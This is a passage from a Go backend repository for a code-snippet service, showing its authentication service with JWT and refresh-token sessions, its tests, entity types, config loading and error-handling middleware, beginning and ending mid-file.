userAgent string) error { 42 | return r.DeleteSessionByUserIDAndUserAgentFn(ctx, userID, userAgent) 43 | } 44 | 45 | func (r RepositoryMock) DeleteSessionByUserID(ctx context.Context, userID int) (int64, error) { 46 | return r.DeleteSessionByUserIDFn(ctx, userID) 47 | } 48 | -------------------------------------------------------------------------------- /internal/auth/repository_test.go: -------------------------------------------------------------------------------- 1 | // +build integration 2 | 3 | package auth 4 | 5 | import ( 6 | "context" 7 | "testing" 8 | "time" 9 | 10 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 11 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 12 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/dbcontext" 13 | "github.com/stretchr/testify/assert" 14 | ) 15 | 16 | var db *dbcontext.DB 17 | var r Repository 18 | var table = "sessions" 19 | 20 | func TestRepositoryMain(t *testing.T) { 21 | db = test.Database(t) 22 | test.TruncateTable(t, db, table) 23 | r = NewRepository(db) 24 | } 25 | 26 | func TestRepositoryCreateSession(t *testing.T) { 27 | session := entity.Session{ 28 | UserID: 1, 29 | RefreshToken: "587e4ac6-8722-11ea-91bf-acde48001122", 30 | Exp: time.Now().Add(time.Hour * 24), 31 | IP: "127.0.0.1", 32 | UserAgent: "Insomnia", 33 | CreatedAt: time.Now(), 34 | } 35 | err := r.CreateSession(context.TODO(), session) 36 | assert.Nil(t, err) 37 | } 38 | 39 | func TestRepositoryFindSessionByRefreshToken(t *testing.T) { 40 | session, err := r.GetSessionByRefreshToken(context.TODO(), "587e4ac6-8722-11ea-91bf-acde48001122") 41 | assert.Equal(t, "587e4ac6-8722-11ea-91bf-acde48001122", session.RefreshToken) 42 | assert.Nil(t, err) 43 | } 44 | 45 | func TestDeleteSessionByRefreshToken(t *testing.T) { 46 | err := r.DeleteSessionByRefreshToken(context.TODO(), "587e4ac6-8722-11ea-91bf-acde48001122") 47 | assert.Nil(t, err) 48 | session, err := r.GetSessionByRefreshToken(context.TODO(), "587e4ac6-8722-11ea-91bf-acde48001122") 49 | assert.NotNil(t, err) 50 | assert.Empty(t, session.ID) 51 | } 52 | -------------------------------------------------------------------------------- /internal/auth/request.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | validation "github.com/go-ozzo/ozzo-validation" 5 | ) 6 | 7 | //AuthRequest - ... 8 | type loginRequest struct { 9 | Login string `json:"login"` 10 | Password string `json:"password"` 11 | } 12 | 13 | func (r loginRequest) Validate() error { 14 | return validation.ValidateStruct(&r, 15 | validation.Field(&r.Login, validation.Required, validation.Length(2, 50)), 16 | validation.Field(&r.Password, validation.Required, validation.Length(6, 50)), 17 | ) 18 | } 19 | 20 | type refreshRequest struct { 21 | RefreshToken string `json:"refresh_token"` 22 | } 23 | 24 | func (r refreshRequest) Validate() error { 25 | return validation.ValidateStruct(&r, 26 | validation.Field(&r.RefreshToken, validation.Required), 27 | ) 28 | } 29 | 30 | type logoutRequest struct { 31 | RefreshToken string `json:"refresh_token"` 32 | } 33 | 34 | func (r logoutRequest) Validate() error { 35 | return validation.ValidateStruct(&r, 36 | validation.Field(&r.RefreshToken, validation.Required), 37 | ) 38 | } 39 | -------------------------------------------------------------------------------- /internal/auth/request_test.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestLoginRequest(t *testing.T) { 10 | cases := []struct { 11 | name string 12 | request loginRequest 13 | fail bool 14 | }{ 15 | {"success", loginRequest{Login: "admin", Password: "qwerty"}, false}, 16 | {"invalid login", loginRequest{Login: "a", Password: "qwerty"}, true}, 17 | {"invalid password", loginRequest{Login: "user_100", Password: ""}, true}, 18 | } 19 | for _, tc := range cases { 20 | t.Run(tc.name, func(t *testing.T) { 21 | err := tc.request.Validate() 22 | assert.Equal(t, tc.fail, err != nil) 23 | }) 24 | } 25 | } 26 | 27 | func TestRefreshRequest(t *testing.T) { 28 | cases := []struct { 29 | name string 30 | request refreshRequest 31 | fail bool 32 | }{ 33 | {"success", refreshRequest{RefreshToken: "sdfsdfsdf"}, false}, 34 | {"empty refresh token", refreshRequest{RefreshToken: ""}, true}, 35 | } 36 | for _, tc := range cases { 37 | t.Run(tc.name, func(t *testing.T) { 38 | err := tc.request.Validate() 39 | assert.Equal(t, tc.fail, err != nil) 40 | }) 41 | } 42 | } 43 | 44 | func testLogoutRequest(t *testing.T) { 45 | cases := []struct { 46 | name string 47 | request logoutRequest 48 | fail bool 49 | }{ 50 | {"success", logoutRequest{RefreshToken: "refresh_token"}, false}, 51 | {"fail", logoutRequest{RefreshToken: ""}, true}, 52 | } 53 | for _, tc := range cases { 54 | t.Run(tc.name, func(t *testing.T) { 55 | err := tc.request.Validate() 56 | assert.Equal(t, tc.fail, err != nil) 57 | }) 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /internal/auth/service.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "fmt" 7 | 8 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/log" 9 | 10 | "time" 11 | 12 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 13 | "github.com/splendidalloy/cloud.snippets.ninja/internal/errors" 14 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/security" 15 | "github.com/dgrijalva/jwt-go" 16 | "github.com/google/uuid" 17 | ) 18 | 19 | var ( 20 | authErr = errors.Unauthorized("auth: invalid login or password") 21 | createSessionErr = errors.InternalServerError("auth: session create error") 22 | expiredSessionErr = errors.Forbidden("auth: session already expired") 23 | sessionNotFoundErr = errors.Forbidden("auth: accesslog denied") 24 | ) 25 | 26 | //Service - ... 27 | type Service interface { 28 | Login(ctx context.Context, credentials authCredentials) (entity.TokenPair, error) 29 | Refresh(ctx context.Context, credentials refreshCredentials) (entity.TokenPair, error) 30 | Logout(ctx context.Context, refreshToken string) error 31 | } 32 | 33 | //Repository - ... 34 | type Repository interface { 35 | GetUserByLoginOrEmail(ctx context.Context, value string) (entity.User, error) 36 | CreateSession(ctx context.Context, session entity.Session) error 37 | GetSessionByRefreshToken(ctx context.Context, refreshToken string) (entity.Session, error) 38 | DeleteSessionByRefreshToken(ctx context.Context, refreshToken string) error 39 | DeleteSessionByUserIDAndUserAgent(ctx context.Context, userID int, userAgent string) error 40 | DeleteSessionByUserID(ctx context.Context, userID int) (int64, error) 41 | } 42 | 43 | type authCredentials struct { 44 | User string 45 | Password string 46 | UserAgent string 47 | IP string 48 | } 49 | 50 | type refreshCredentials struct { 51 | RefreshToken string 52 | UserAgent string 53 | IP string 54 | } 55 | 56 | type userClaims struct { 57 | ID int `json:"id"` 58 | Login string `json:"login"` 59 | jwt.StandardClaims 60 | } 61 | 62 | type service struct { 63 | jwtSigningKey string 64 | repository Repository 65 | logger log.Logger 66 | } 67 | 68 | //NewService - ... 69 | func NewService(JWTSigningKey string, repository Repository, logger log.Logger) Service { 70 | return service{ 71 | jwtSigningKey: JWTSigningKey, 72 | repository: repository, 73 | logger: logger, 74 | } 75 | } 76 | 77 | //Login 78 | //1. Try to get user by login or email 79 | //2. Check if it exists 80 | //3. Compare password hash 81 | //4.Generate token pair 82 | //5. Remove useless sessions from db by user id and user-agent 83 | //6.Upsert new fresh session 84 | func (s service) Login(ctx context.Context, credentials authCredentials) (entity.TokenPair, error) { 85 | user, err := s.repository.GetUserByLoginOrEmail(ctx, credentials.User) 86 | if err != nil { 87 | if err == sql.ErrNoRows { 88 | s.logger.With(ctx).Info("Security alert. User not found") 89 | return entity.TokenPair{}, authErr 90 | 91 | } else { 92 | return entity.TokenPair{}, err 93 | } 94 | fmt.Println("FUUUK") 95 | 96 | } 97 | if security.CompareHashAndPassword(user.Password, credentials.Password) == true { 98 | accessToken, err := s.generateAccessToken(user.ID) 99 | if err != nil { 100 | return entity.TokenPair{}, err 101 | } 102 | refreshToken, err := s.generateRefreshToken() 103 | if err != nil { 104 | return entity.TokenPair{}, err 105 | } 106 | session := entity.Session{ 107 | UserID: user.ID, 108 | RefreshToken: refreshToken, 109 | Exp: time.Now().Add(time.Minute * 100), 110 | IP: credentials.IP, 111 | UserAgent: credentials.UserAgent, 112 | CreatedAt: time.Now(), 113 | } 114 | 115 | err = s.repository.DeleteSessionByUserIDAndUserAgent(ctx, user.ID, credentials.UserAgent) 116 | if err != nil { 117 | return entity.TokenPair{}, err 118 | } 119 | if err = s.repository.CreateSession(ctx, session); err != nil { 120 | return entity.TokenPair{}, err 121 | } 122 | 123 | return entity.TokenPair{ 124 | AccessToken: accessToken, 125 | RefreshToken: refreshToken, 126 | }, nil 127 | } else { 128 | s.logger.With(ctx).Info("Security alert. Invalid password") 129 | } 130 | return entity.TokenPair{}, authErr 131 | } 132 | 133 | func (s service) Refresh(ctx context.Context, credentials refreshCredentials) (entity.TokenPair, error) { 134 | session, err := s.repository.GetSessionByRefreshToken(ctx, credentials.RefreshToken) 135 | if err != nil { 136 | if err == sql.ErrNoRows { 137 | s.logger.Info("Security alert. Refresh sessions not found") 138 | return entity.TokenPair{}, sessionNotFoundErr 139 | } 140 | return entity.TokenPair{}, err 141 | } 142 | if err := s.repository.DeleteSessionByRefreshToken(ctx, session.RefreshToken); err != nil { 143 | return entity.TokenPair{}, err 144 | } 145 | if session.Exp.After(time.Now()) == true { 146 | accessToken, err := s.generateAccessToken(session.UserID) 147 | if err != nil { 148 | return entity.TokenPair{}, err 149 | } 150 | refreshToken, err := s.generateRefreshToken() 151 | if err != nil { 152 | return entity.TokenPair{}, err 153 | } 154 | session := entity.Session{ 155 | UserID: session.UserID, 156 | RefreshToken: refreshToken, 157 | Exp: time.Now().Add(time.Minute * 100), 158 | IP: credentials.IP, 159 | UserAgent: credentials.UserAgent, 160 | CreatedAt: time.Now(), 161 | } 162 | if err = s.repository.CreateSession(ctx, session); err != nil { 163 | return entity.TokenPair{}, createSessionErr 164 | } 165 | return entity.TokenPair{ 166 | AccessToken: accessToken, 167 | RefreshToken: refreshToken, 168 | }, nil 169 | } else { 170 | //if refresh token is expired just remove all sessions 171 | if sessionsCount, err := s.repository.DeleteSessionByUserID(ctx, session.UserID); err == nil { 172 | s.logger.Info("Security alert. Remove all sessions by user id. Total: %d", sessionsCount) 173 | } 174 | } 175 | return entity.TokenPair{}, expiredSessionErr 176 | } 177 | 178 | func (s service) Logout(ctx context.Context, token string) error { 179 | return s.repository.DeleteSessionByRefreshToken(ctx, token) 180 | } 181 | 182 | func (s service) generateAccessToken(userID int) (string, error) { 183 | jwtClaims := &userClaims{ 184 | ID: userID, 185 | StandardClaims: jwt.StandardClaims{ 186 | ExpiresAt: time.Now().Add(time.Minute * 2315).Unix(), 187 | }, 188 | } 189 | return jwt.NewWithClaims(jwt.SigningMethodHS256, jwtClaims).SignedString([]byte(s.jwtSigningKey)) 190 | } 191 | 192 | func (s service) generateRefreshToken() (string, error) { 193 | token, err := uuid.NewUUID() 194 | if err != nil { 195 | return "", err 196 | } 197 | return token.String(), err 198 | } 199 | -------------------------------------------------------------------------------- /internal/auth/service_test.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | "context" 5 | "testing" 6 | "time" 7 | 8 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 9 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 10 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/log" 11 | "github.com/stretchr/testify/assert" 12 | ) 13 | 14 | func TestAuthService_Login(t *testing.T) { 15 | type args struct { 16 | auth authCredentials 17 | } 18 | 19 | cases := []struct { 20 | name string 21 | args args 22 | repository RepositoryMock 23 | wantData bool 24 | wantErr error 25 | }{ 26 | { 27 | name: "user can successfully login", 28 | args: args{ 29 | authCredentials{ 30 | User: "test", 31 | Password: "qwerty", 32 | UserAgent: "test", 33 | IP: "127.0.0.1", 34 | }, 35 | }, 36 | repository: RepositoryMock{ 37 | GetUserByLoginOrEmailFn: func(ctx context.Context, login string) (entity.User, error) { 38 | return entity.User{ 39 | ID: 1, 40 | Password: "$2a$10$ubN1SU6RUOjlbQiHObqy7.bgK08Gl/YNWxTSrqhkTsvtnsh1nFzDO", 41 | Login: "test", 42 | Email: "", 43 | CreatedAt: test.Time(2020), 44 | UpdatedAt: test.Time(2021), 45 | }, nil 46 | }, 47 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 48 | return nil 49 | }, 50 | DeleteSessionByUserIDAndUserAgentFn: func(ctx context.Context, userID int, userAgent string) error { 51 | return nil 52 | }, 53 | }, 54 | wantData: true, 55 | wantErr: nil, 56 | }, 57 | { 58 | name: "invalid login or password", 59 | args: args{ 60 | authCredentials{ 61 | User: "test", 62 | Password: "123123", 63 | UserAgent: "test", 64 | IP: "127.0.0.1", 65 | }, 66 | }, 67 | repository: RepositoryMock{ 68 | GetUserByLoginOrEmailFn: func(ctx context.Context, login string) (entity.User, error) { 69 | return entity.User{ 70 | ID: 0, 71 | Password: "$2a$10$ubN1SU6RUOjlbQiHObqy7.bgK08Gl/YNWxTSrqhkTsvtnsh1nFzDO", 72 | Login: "test", 73 | Email: "", 74 | CreatedAt: test.Time(2020), 75 | UpdatedAt: test.Time(2021), 76 | }, nil 77 | }, 78 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 79 | return nil 80 | }, 81 | }, 82 | wantData: false, 83 | wantErr: authErr, 84 | }, 85 | { 86 | name: "error when try to find user by login or password", 87 | args: args{ 88 | authCredentials{ 89 | User: "test", 90 | Password: "qwerty", 91 | UserAgent: "test", 92 | IP: "127.0.0.1", 93 | }, 94 | }, 95 | repository: RepositoryMock{ 96 | GetUserByLoginOrEmailFn: func(ctx context.Context, login string) (entity.User, error) { 97 | return entity.User{}, repositoryMockErr 98 | }, 99 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 100 | return nil 101 | }, 102 | }, 103 | wantData: false, 104 | wantErr: repositoryMockErr, 105 | }, 106 | { 107 | name: "session could not be created", 108 | args: args{ 109 | authCredentials{ 110 | User: "test", 111 | Password: "qwerty", 112 | UserAgent: "test", 113 | IP: "127.0.0.1", 114 | }, 115 | }, 116 | repository: RepositoryMock{ 117 | GetUserByLoginOrEmailFn: func(ctx context.Context, login string) (entity.User, error) { 118 | return entity.User{ 119 | ID: 1, 120 | Password: "$2a$10$ubN1SU6RUOjlbQiHObqy7.bgK08Gl/YNWxTSrqhkTsvtnsh1nFzDO", 121 | Login: "test", 122 | Email: "", 123 | CreatedAt: test.Time(2020), 124 | UpdatedAt: test.Time(2021), 125 | }, nil 126 | }, 127 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 128 | return repositoryMockErr 129 | }, 130 | DeleteSessionByUserIDAndUserAgentFn: func(ctx context.Context, userID int, userAgent string) error { 131 | return nil 132 | }, 133 | }, 134 | wantData: false, 135 | wantErr: repositoryMockErr, 136 | }, 137 | } 138 | 139 | for _, tc := range cases { 140 | t.Run(tc.name, func(t *testing.T) { 141 | logger, _ := log.NewForTests() 142 | service := NewService("jwt_test_key", tc.repository, logger) 143 | tokenPair, err := service.Login(context.Background(), tc.args.auth) 144 | assert.Equal(t, tc.wantData, tokenPair.AccessToken != "") 145 | assert.Equal(t, tc.wantData, tokenPair.RefreshToken != "") 146 | assert.IsType(t, tc.wantErr, err) 147 | }) 148 | } 149 | } 150 | 151 | func TestAuthService_RefreshAccessToken(t *testing.T) { 152 | type args struct { 153 | refreshCredentials refreshCredentials 154 | } 155 | cases := []struct { 156 | name string 157 | repository Repository 158 | args args 159 | wantData bool 160 | wantErr error 161 | }{ 162 | { 163 | name: "user can successfully refresh token and get new token pair", 164 | repository: RepositoryMock{ 165 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 166 | return nil 167 | }, 168 | GetSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) (entity.Session, error) { 169 | return entity.Session{ 170 | ID: 1, 171 | UserID: 1, 172 | RefreshToken: "07c40c34-c07d-11eb-a218-acde48001122", 173 | Exp: time.Now().Add(time.Hour), 174 | IP: "127.0.0.1", 175 | UserAgent: "Insomnia", 176 | CreatedAt: test.Time(2020), 177 | }, nil 178 | }, 179 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 180 | return nil 181 | }, 182 | }, 183 | args: args{ 184 | refreshCredentials{ 185 | RefreshToken: "07c40c34-c07d-11eb-a218-acde48001122", 186 | UserAgent: "Insomnia", 187 | IP: "127.0.0.1", 188 | }}, 189 | wantData: true, 190 | wantErr: nil, 191 | }, 192 | { 193 | name: "session already expired", 194 | repository: RepositoryMock{ 195 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 196 | return nil 197 | }, 198 | GetSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) (entity.Session, error) { 199 | return entity.Session{ 200 | ID: 1, 201 | UserID: 1, 202 | RefreshToken: "07c40c34-c07d-11eb-a218-acde48001122", 203 | Exp: time.Now().Add(time.Duration(-10) * time.Minute), 204 | IP: "127.0.0.1", 205 | UserAgent: "Insomnia", 206 | CreatedAt: test.Time(2020), 207 | }, nil 208 | }, 209 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 210 | return nil 211 | }, 212 | DeleteSessionByUserIDFn: func(ctx context.Context, userID int) (int64, error) { 213 | return 10, nil 214 | }, 215 | }, 216 | args: args{ 217 | refreshCredentials{ 218 | RefreshToken: "07c40c34-c07d-11eb-a218-acde48001122", 219 | UserAgent: "Insomnia", 220 | IP: "127.0.0.1", 221 | }}, 222 | wantData: false, 223 | wantErr: expiredSessionErr, 224 | }, 225 | { 226 | name: "session could not be created", 227 | repository: RepositoryMock{ 228 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 229 | return createSessionErr 230 | }, 231 | GetSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) (entity.Session, error) { 232 | return entity.Session{ 233 | ID: 1, 234 | UserID: 1, 235 | RefreshToken: "07c40c34-c07d-11eb-a218-acde48001122", 236 | Exp: time.Now().Add(time.Hour), 237 | IP: "127.0.0.1", 238 | UserAgent: "Insomnia", 239 | CreatedAt: test.Time(2021), 240 | }, nil 241 | }, 242 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 243 | return nil 244 | }, 245 | }, 246 | args: args{ 247 | refreshCredentials{ 248 | RefreshToken: "07c40c34-c07d-11eb-a218-acde48001122", 249 | UserAgent: "Insomnia", 250 | IP: "127.0.0.1", 251 | }}, 252 | wantData: false, 253 | wantErr: createSessionErr, 254 | }, 255 | { 256 | name: "refresh token already expired", 257 | repository: RepositoryMock{ 258 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 259 | return nil 260 | }, 261 | GetSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) (entity.Session, error) { 262 | return entity.Session{ 263 | ID: 1, 264 | UserID: 1, 265 | RefreshToken: "07c40c34-c07d-11eb-a218-acde48001122", 266 | Exp: time.Now(), 267 | IP: "127.0.0.1", 268 | UserAgent: "Insomnia", 269 | CreatedAt: test.Time(2021), 270 | }, nil 271 | }, 272 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 273 | return nil 274 | }, 275 | DeleteSessionByUserIDFn: func(ctx context.Context, userID int) (int64, error) { 276 | return 1, nil 277 | }, 278 | }, 279 | args: args{ 280 | refreshCredentials{ 281 | RefreshToken: "07c40c34-c07d-11eb-a218-acde48001122", 282 | UserAgent: "Insomnia", 283 | IP: "127.0.0.1", 284 | }}, 285 | wantData: false, 286 | wantErr: expiredSessionErr, 287 | }, 288 | } 289 | 290 | for _, tc := range cases { 291 | t.Run(tc.name, func(t *testing.T) { 292 | logger, _ := log.NewForTests() 293 | service := NewService("jwt_test_key", tc.repository, logger) 294 | token, err := service.Refresh(context.Background(), tc.args.refreshCredentials) 295 | assert.Equal(t, tc.wantData, token.AccessToken != "") 296 | assert.Equal(t, tc.wantData, token.RefreshToken != "") 297 | assert.IsType(t, tc.wantErr, err) 298 | }) 299 | } 300 | } 301 | 302 | func TestAuthService_Logout(t *testing.T) { 303 | type args struct { 304 | refreshToken string 305 | } 306 | 307 | cases := []struct { 308 | name string 309 | args args 310 | repository Repository 311 | wantErr error 312 | }{ 313 | { 314 | name: "user can successfully logout", 315 | args: args{ 316 | refreshToken: "d5586222-c306-11eb-96c1-acde48001122", 317 | }, 318 | repository: RepositoryMock{ 319 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 320 | return nil 321 | }, 322 | }, 323 | wantErr: nil, 324 | }, 325 | { 326 | name: "repository error", 327 | args: args{ 328 | refreshToken: "d5586222-c306-11eb-96c1-acde48001122", 329 | }, 330 | repository: RepositoryMock{ 331 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 332 | return repositoryMockErr 333 | }, 334 | }, 335 | wantErr: repositoryMockErr, 336 | }, 337 | } 338 | 339 | for _, tc := range cases { 340 | t.Run(tc.name, func(t *testing.T) { 341 | logger, _ := log.NewForTests() 342 | service := NewService("jwt_test", tc.repository, logger) 343 | err := service.Logout(context.Background(), tc.args.refreshToken) 344 | assert.Equal(t, tc.wantErr, err) 345 | }) 346 | } 347 | } 348 | -------------------------------------------------------------------------------- /internal/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "gopkg.in/yaml.v2" 5 | "io/ioutil" 6 | ) 7 | 8 | //Config basic data structure for application configuration 9 | type Config struct { 10 | BindAddr string `yaml:"bind_addr"` 11 | LogLevel string `yaml:"log_level"` 12 | DatabaseDNS string `yaml:"database_dns"` 13 | TestDatabaseDNS string `yaml:"test_database_dns"` 14 | JWTSigningKey string `yaml:"jwt_signing_key"` 15 | } 16 | 17 | func Load(path string) (*Config, error) { 18 | config := &Config{} 19 | file, err := ioutil.ReadFile(path) 20 | if err != nil { 21 | return config, err 22 | } 23 | err = yaml.Unmarshal(file, &config) 24 | return config, err 25 | } 26 | -------------------------------------------------------------------------------- /internal/entity/identity.go: -------------------------------------------------------------------------------- 1 | package entity 2 | 3 | type contextValue string 4 | 5 | const ( 6 | JWTCtxKey contextValue = "jwt" 7 | ) 8 | 9 | type Identity struct { 10 | ID int 11 | Login string 12 | } 13 | 14 | func (i Identity) GetID() int { 15 | return i.ID 16 | } 17 | 18 | func (i Identity) GetLogin() string { 19 | return i.Login 20 | } 21 | -------------------------------------------------------------------------------- /internal/entity/session.go: -------------------------------------------------------------------------------- 1 | package entity 2 | 3 | import "time" 4 | 5 | //Session represents refresh tokens 6 | type Session struct { 7 | ID int `json:"id"` 8 | UserID int `json:"user_id"` 9 | RefreshToken string `json:"refresh_token"` 10 | Exp time.Time `json:"exp"` 11 | IP string `json:"ip"` 12 | UserAgent string `json:"user_agent"` 13 | CreatedAt time.Time `json:"created_at"` 14 | } 15 | 16 | //TokenPair represents token pars - access_token and refresh_token 17 | type TokenPair struct { 18 | AccessToken string `json:"access_token"` 19 | RefreshToken string `json:"refresh_token"` 20 | } 21 | 22 | //TableName - returns sessions table name from database 23 | func (s Session) TableName() string { 24 | return "sessions" 25 | } 26 | -------------------------------------------------------------------------------- /internal/entity/snippet.go: -------------------------------------------------------------------------------- 1 | package entity 2 | 3 | import ( 4 | "database/sql/driver" 5 | "encoding/json" 6 | "time" 7 | ) 8 | 9 | //Snippet - ... 10 | type Snippet struct { 11 | ID int `json:"id"` 12 | UserID int `json:"user_id"` 13 | Favorite bool `json:"favorite"` 14 | AccessLevel int `json:"access_level"` 15 | Title string `json:"title"` 16 | Content string `json:"content"` 17 | Tags Tags `json:"tags" db:"tags"` 18 | Language string `json:"language"` 19 | CustomEditorOptions CustomEditorOptions `json:"custom_editor_options" db:"custom_editor_options"` 20 | CreatedAt time.Time `json:"created_at"` 21 | UpdatedAt time.Time `json:"updated_at"` 22 | } 23 | 24 | type Tags []string 25 | 26 | type CustomEditorOptions struct { 27 | Theme string `json:"theme,omitempty"` 28 | LineNumbers bool `json:"line_numbers,omitempty"` 29 | WordWrap bool `json:"word_wrap,omitempty"` 30 | Folding bool `json:"folding,omitempty"` 31 | Minimap bool `json:"minimap,omitempty"` 32 | FontFamily string `json:"font_family,omitempty"` 33 | } 34 | 35 | func (t *Tags) Scan(val interface{}) error { 36 | switch v := val.(type) { 37 | case []byte: 38 | return json.Unmarshal(v, &t) 39 | case string: 40 | return json.Unmarshal([]byte(v), &t) 41 | default: 42 | return nil 43 | } 44 | } 45 | 46 | func (t Tags) Value() (driver.Value, error) { 47 | result, err := json.Marshal(t) 48 | return string(result), err 49 | } 50 | 51 | func (pc *CustomEditorOptions) Scan(val interface{}) error { 52 | switch v := val.(type) { 53 | case []byte: 54 | return json.Unmarshal(v, &pc) 55 | case string: 56 | return json.Unmarshal([]byte(v), &pc) 57 | default: 58 | return nil 59 | } 60 | } 61 | func (pc CustomEditorOptions) Value() (driver.Value, error) { 62 | result, err := json.Marshal(pc) 63 | return string(result), err 64 | } 65 | 66 | //TableName - returns table name from database 67 | func (s Snippet) TableName() string { 68 | return "snippets" 69 | } 70 | 71 | func (s Snippet) GetOwnerID() int { 72 | return s.UserID 73 | } 74 | 75 | func (s Snippet) IsPublic() bool { 76 | if s.AccessLevel == 0 { 77 | return false 78 | } else { 79 | return true 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /internal/entity/user.go: -------------------------------------------------------------------------------- 1 | package entity 2 | 3 | import ( 4 | "time" 5 | ) 6 | 7 | //User represents resources in JSON format. 8 | type User struct { 9 | ID int `json:"id"` 10 | Password string `json:"-" ` 11 | Login string `json:"login" ` 12 | Email string `json:"email,omitempty" ` 13 | CreatedAt time.Time `json:"created_at"` 14 | UpdatedAt time.Time `json:"updated_at"` 15 | } 16 | 17 | //GetPublicProfile - returns only public information 18 | func (u User) GetPublicProfile() User { 19 | u.Email = "" 20 | u.Password = "" 21 | return u 22 | } 23 | 24 | //TableName - returns table name in database 25 | func (u User) TableName() string { 26 | return "users" 27 | } 28 | -------------------------------------------------------------------------------- /internal/errors/middleware.go: -------------------------------------------------------------------------------- 1 | package errors 2 | 3 | import ( 4 | "database/sql" 5 | "errors" 6 | "log" 7 | "net/http" 8 | 9 | "github.com/splendidalloy/cloud.snippets.ninja/internal/rbac" 10 | 11 | routing "github.com/go-ozzo/ozzo-routing/v2" 12 | validation "github.com/go-ozzo/ozzo-validation" 13 | ) 14 | 15 | //Handler - error handler HTTP middleware 16 | func Handler() routing.Handler { 17 | return func(c *routing.Context) (err error) { 18 | defer func() { 19 | if err != nil { 20 | res := buildResponseWithError(err) 21 | c.Response.WriteHeader(res.StatusCode()) 22 | if err := c.Write(res); err != nil { 23 | log.Println(err) 24 | } 25 | c.Abort() 26 | err = nil 27 | } 28 | }() 29 | return c.Next() 30 | } 31 | } 32 | 33 | func buildResponseWithError(err error) ErrorResponse { 34 | switch err.(type) { 35 | case ErrorResponse: 36 | return err.(ErrorResponse) 37 | case validation.Errors: 38 | return GenerateValidationError(err.(validation.Errors)) 39 | case routing.HTTPError: 40 | switch err.(routing.HTTPError).StatusCode() { 41 | case http.StatusNotFound: 42 | return NotFound("") 43 | default: 44 | return ErrorResponse{ 45 | Status: err.(routing.HTTPError).StatusCode(), 46 | Message: err.Error(), 47 | } 48 | } 49 | } 50 | 51 | if errors.Is(err, rbac.AccessError) { 52 | return Forbidden(err.Error()) 53 | } 54 | if errors.Is(err, sql.ErrNoRows) { 55 | return NotFound("") 56 | } 57 | return InternalServerError(err.Error()) 58 | } 59 | -------------------------------------------------------------------------------- /internal/errors/response.go: -------------------------------------------------------------------------------- 1 | package errors 2 | 3 | import ( 4 | "net/http" 5 | "sort" 6 | 7 | validation "github.com/go-ozzo/ozzo-validation" 8 | ) 9 | 10 | //ErrorResponse - respresents error response 11 | type ErrorResponse struct { 12 | Status int `json:"status" ` 13 | Message string `json:"message"` 14 | Details interface{} `json:"details"` 15 | } 16 | 17 | //StatusCode - returns http status code 18 | func (r ErrorResponse) StatusCode() int { 19 | return r.Status 20 | } 21 | 22 | //Error - returns error message 23 | func (r ErrorResponse) Error() string { 24 | return r.Message 25 | } 26 | 27 | //GetDetails - returns detail infromatopn about error 28 | func (r ErrorResponse) GetDetails() interface{} { 29 | return r.Details 30 | } 31 | 32 | //NotFound - HTTP 404 33 | func NotFound(message string) ErrorResponse { 34 | if message == "" { 35 | message = "Not found" 36 | } 37 | return ErrorResponse{ 38 | Status: http.StatusNotFound, 39 | Message: message, 40 | } 41 | } 42 | 43 | //Forbidden - HTTP 403 44 | func Forbidden(message string) ErrorResponse { 45 | if message == "" { 46 | message = "Forbidden" 47 | } 48 | return ErrorResponse{ 49 | Status: http.StatusForbidden, 50 | Message: message, 51 | } 52 | } 53 | 54 | //BadRequest - HTTP 400 55 | func BadRequest(message string) ErrorResponse { 56 | if message == "" { 57 | message = "Bad request" 58 | } 59 | return ErrorResponse{ 60 | Status: http.StatusBadRequest, 61 | Message: message, 62 | } 63 | } 64 | 65 | //Unauthorized - HTTP 401 66 | func Unauthorized(message string) ErrorResponse { 67 | if message == "" { 68 | message = "Unauthorized" 69 | } 70 | return ErrorResponse{ 71 | Status: http.StatusUnauthorized, 72 | Message: message, 73 | } 74 | } 75 | 76 | //InternalServerError - HTTP 500 77 | func InternalServerError(message string) ErrorResponse { 78 | if message == "" { 79 | message = "Internal server error" 80 | } 81 | return ErrorResponse{ 82 | Status: http.StatusInternalServerError, 83 | Message: message, 84 | } 85 | } 86 | 87 | type invalidField struct { 88 | Field string `json:"field"` 89 | Error string `json:"error"` 90 | } 91 | 92 | //GenerateValidationError - ... 93 | func GenerateValidationError(errs validation.Errors) ErrorResponse { 94 | var details []invalidField 95 | var fields []string 96 | for field := range errs { 97 | fields = append(fields, field) 98 | } 99 | sort.Strings(fields) 100 | for _, field := 